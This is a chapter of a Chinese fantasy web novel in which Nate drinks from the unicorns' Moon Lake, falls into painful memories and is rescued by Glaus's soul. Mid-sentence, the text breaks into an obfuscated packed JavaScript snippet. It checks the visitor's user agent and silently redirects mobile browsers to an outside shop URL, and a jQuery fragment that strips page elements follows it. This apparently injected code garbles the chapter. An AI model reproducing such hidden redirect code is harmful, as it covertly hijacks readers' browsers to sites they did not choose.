穿越铜钉镇外,是一片上千英亩的、一望无际的落日森林。这片森林部分接壤于帕克拉琪亚山脉,部分连接呼啸沃地,关于它的归属至今仍有争议。通常来说,靠近东方的部分属于人类王国,西南方则是魔族中的独角兽和泰坦比较活跃。
卡珊德拉和摩西带着内特迈入落日森林。内特跟在两人背后,起先还试图记地图,但很快就记不清了。内特怀疑,不是自己的记忆出了问题,应该是这片区域被人刻了类似防止追踪的刻印,如果不通过特定的道路行走,就会一直在这团团转。
内特正欲考虑用空间纹章探测这片区域,摩西便突然说:“我们到了。”
内特有些纳闷,眼前仍是一片漆黑的山毛榉林,跟刚才有什么区别?
卡珊德拉迈步向其中两棵榉树走去。她的小腿刚迈过那片阴影,就有无数条浅金色的丝线亮起来,像丝网般被触动,豁开一个口子;等卡珊德拉进去,再重新愈合。
这可不像是让别人随进随出的门啊……内特暗想。但此刻走了这么远,为了关于母亲的记忆,独角兽的领地近在咫尺,绝无回头的可能性。便一咬牙,模仿卡珊德拉迈步进去。
原本内特还有些担心这蛛网一样的丝线只允许独角兽通过,但他眼前一亮,已经成功通过。
与那寂静无人的密林不同,眼前顿时豁然开朗。他的面前是一片相当开阔宁静的小湖,倒映着明亮的月光,湖面波光粼粼。
湖水深沉,时而轻微的晃动。听着熙熙的水声,内特好奇这个湖下面是否还有别的生物存在。
在湖边是一丛丛修建得整齐得体的小灌木丛,无数萤火虫和明亮的萤石点缀其中,如照明般点亮了湖边的小路。湖边还有几个做工精致的竹亭。内特和摩西到来时,有十几人已经到达了凉亭下,都穿着浅白色斗篷一样的衣服,浅金色的头发,正彼此低声窃窃私语着。
有一条小堤从岸边通往湖心,把这个小湖一分为二。内特跟着另外两人沿着堤坝往湖心走去。看到三人,岸边原本窃窃私语的众人都安静下来,一眨不眨地盯着他们。
内特注意到,这里的所有人的眼睛里都有一圈圈黑色的螺纹。被这样无数晦明不定的观测眼注视着,内特还是感觉有些起鸡皮疙瘩。
湖心亭中央站着一个男子。他披着如雪的银白长袍,衣袍不染尘埃,缝着银线,让他全身像夜空中的星星一样闪耀着。他的头上戴一顶月桂和梧桐花编织的桂冠,浅金色的长发细致地编在脑后,面容沉静如水,浮着一层淡淡的荧光。虽如人类,但那时刻旋转着黑色螺纹的眼睛提醒着内特:眼前的男子就是所有独角兽的族长,拥有【幻月】【梦境】相关纹章的领袖——现在八族中的独角兽之王。
“族长,我们回来了,还遇到了一个新的独角兽孩子。”卡珊德拉说,“他似乎是精灵和独角兽的混血,您可以告诉我们他的父亲是谁吗?”
“不要胡闹,卡珊德拉。我们的观测眼不是为了这样微不足道的小事而用的。”
独角兽之王说。他朝内特伸出手:“过来,孩子。让我看看你。”
内特咽了口水,故作镇定地走到独角兽之王面前。他感受到对方冰冷的手指碰到自己的眼眶,那触感极硬,就像玉石一样。当他的手指刮过自己的下颌,内特有一瞬间担心自己的变色龙面具会被对方从脸上揭下来。
“原来如此。精灵之子,确实是独属于独角兽的眼睛。那么,我允许你参加月之祭典。”独角兽说,“你或许已经听说我了。我是月神,现在的独角兽之王,赛里宁忒。”
内特注视着赛里宁忒。独角兽之王浅蓝色眼仁上盘旋着黑色的花纹,有种无机质、没有聚焦的感觉,甚至让内特怀疑,那双覆盖着黑色花纹的眼睛是否真的能“看见”他。
仔细一想,赛里宁忒是自己见到的第三位种族之王。八族中,排名第一的是自己的老师——世界之王、雷霆暴君;然后是海妖之主,洋流与风之女神,海王星小姐;现在是独角兽之王,月神赛里宁忒。
从外表看,赛里宁忒像个玉石般的人类。但无论看起来多么无害,独角兽之王一定是极其危险的存在。
赛里宁忒松开手,走到一旁。内特这时候才注意到,在湖心中央、赛里宁忒手边是一个石台。最上层的石面向下凹陷,里面盛着薄薄的……水?
与此同时,其他聚集在岸边的人也不知何时走到了内特身边。赛里宁忒微笑了一下,他仰起头,让月光倾泻到他手边那石盏中,似乎心情很愉快。
“诸位,经过二十四年,我们的月之湖终于再次盈满。可以饮下月之光辉了。”
似乎看出了内特的困惑,赛里宁忒轻柔地解释道:“你脚下的就是月之湖,这里承载着我们和所有独角兽先祖的记忆。每隔二十四年,月之湖受潮汐的影响会盈满,你们可以通过月之祭典进入记忆神殿。但是记住,过了今夜,潮汐的效果将会消失。如果不及时返航,你将永远留在记忆神殿中,等下一次盈满才能返回。”
内特大概明白了。月之湖可以储存记忆,而月之祭典是让他们重新“查阅”记忆的仪式。但他说的返航是什么意思?如果自己不能及时离开储存记忆的地方,就会被关在里面二十四年?
不等内特细想,赛里宁忒已经拿起石台台面上一个小盏,从那薄薄的、镜子一般的池水中盛了一盏水,递到内特面前:
“请吧,奈特。愿你在梦境中,也能保持清醒。”
内特接过石盏。酒杯的质地是半透明的玉石打造的,相当轻盈光滑,里面的水轻飘飘地晃动着,仿佛有雾气在水面飘荡。这……这是可以喝的吗?
内特心一横,不想那么多,仰头饮下。
饮下那一口湖水的下一瞬间,内特感觉自己的精神霎那变得疯狂膨胀起来。他的意识变得很快、很活跃,前所未有的自由,仿佛漂浮在空气中。
他抬起头,连天空的星星移动速度都变得快起来。那明亮的星辰正旋转着在亘古不变的黑夜上移动着,由东至西,在天空中划出一道道美妙的圆弧,那就是【星轨】。
内特感觉到自己的身体在慢慢仰躺下去,或者说,原本在堤坝下的湖水骤然上涨,把他的身体反而淹没起来。就在触碰到湖水的那一刻,湖水沸腾起来,犹如无数蒸腾的雾气,把他包裹起来。
内特陷在重重包裹的灰雾中,听见无数尖叫和声音从身旁的浓雾里传来。一阵阵刺骨的寒意啸叫着从自己手边和身体里穿过,他的身体在重重地下坠,无数的灵魂却在尖叫着上升。
不、不对!我不该这样坠下去——为什么我的身体这样沉重?
隐约间,他听见赛里宁忒叹息的声音:
“精灵的血统污染了你的灵魂,你将无法上升,只能坠入月之湖底。”
内特挣扎起来,散发出银色的精神之线。可在这混沌的灵魂
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16989549|186016||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
漩涡中,他的意识犹如一叶扁舟,根本无法挣脱。月之湖的湖水如同有张力的触手捕捉住他,像抽丝一样,把内特记忆里最不堪、最黑暗的部分硬生生拉出来,甚至加以扭曲激化。内特已经不知道,这些痛苦的声音是真实存在过,还是只是他的想象了。
他看见那红发赭衣的男人背对着自己。父亲头也不回地说:“你只是个不成器的儿子。”
他在下坠。
海森堡站在破损的圣坛旁,他身上沾着血,灰发凛凛,神情冷漠:“你做不好任何事。”
白色水晶般的龙停在圣山教堂钟楼的塔顶上。涅西丝遗憾地摆了摆手指,振翅离开:“没有任何人期待你。”
他在决斗场落败,克莱希锋锐的金属贯穿了他的全身。她面无表情:“你只不过是依仗父辈的平庸之人罢了。”
不,不——
扎克靠在沙发上,一脸烦躁地挠挠头发:“谁想跟你做朋友?我早就厌倦你的性格了。”
——
——
月亮在水面之外的天空上闪耀着,窒息和寒冷裹挟着他,内特浑身哆嗦。他看见无数排着队的平民像蚂蚁般挤在首都之外的土路上,山贼肆意地凌虐着手无寸铁的穷人。棕发的青年站在月光下,他望着内特。
不,唯独你不是这样的!
唯独你不能这样否定我!
就在棕发青年开口的霎那,内特的身上骤然伸出发狂般的黑色精神之线,瞬间穿透了幻影的身体。
而下一刻,那棕发青年的幻影变了。他的容貌不再虚幻,而是变得生动而清晰。透过翻涌的雾气和黑暗,他的手伸出来,握住了内特的手腕。
“内特,我从未后悔遇见过你。”格劳斯说,“直到现在,我都发自内心地感谢:当初能遇到你真是太好了。”
“格劳斯?”内特问,“你怎么——”
格劳斯手腕发力,内特意识到自己在上升。他的精神变得轻盈,而月之湖底恼人的灵魂涡流还缠绕着他。格劳斯说:“指挥我斩断它们,内特。”
内特心念一动,格劳斯的身影便消失了。内特看见漆黑如影的恶魔之角如割开流冰般将缠绕着他的湖水分开,而他终于可以升起,脱离这湖面。
当内特的意识从湖底爬出来时,他眼前的世界已经发生变化。星辰坠落,天空化为海洋和陆地;树林向内折叠塌缩。而内特眼前,月之湖不再是水,而是一大片晶莹剔透的宝石。沿着河堤前行,尽头是一座映射着月光的宫殿。
这就是赛里宁忒所说的记忆神殿?他回过头去,自己的“身体”留在一片伸手不见五指的黑暗中,只有岸边萤石星星点点的光芒指引着他,告诉他真实的位置。
恶魔之角重新变为格劳斯的样子,静悄悄地走过来,站在内特旁边。他的棕发比之前更长了,个子也比自己要高了。
内特问道:“格劳斯,这是我的幻觉,还是你真的在这里?”
格劳斯转过头,他的身形比之前在水里看到时更暗淡一些。
“是我,但是我并不在这里。”格劳斯说,“恶魔之角承载着我的一部分灵魂。因为你的力量变强,加上月之湖塑造了我的形体,我得以这个形态和你对话几分钟。”
不等内特回答,格劳斯便仰起头,抬手推开那记忆神殿的大门。
“你要做什么,内特?在我的这片灵魂消耗殆尽前,我该怎么帮你?”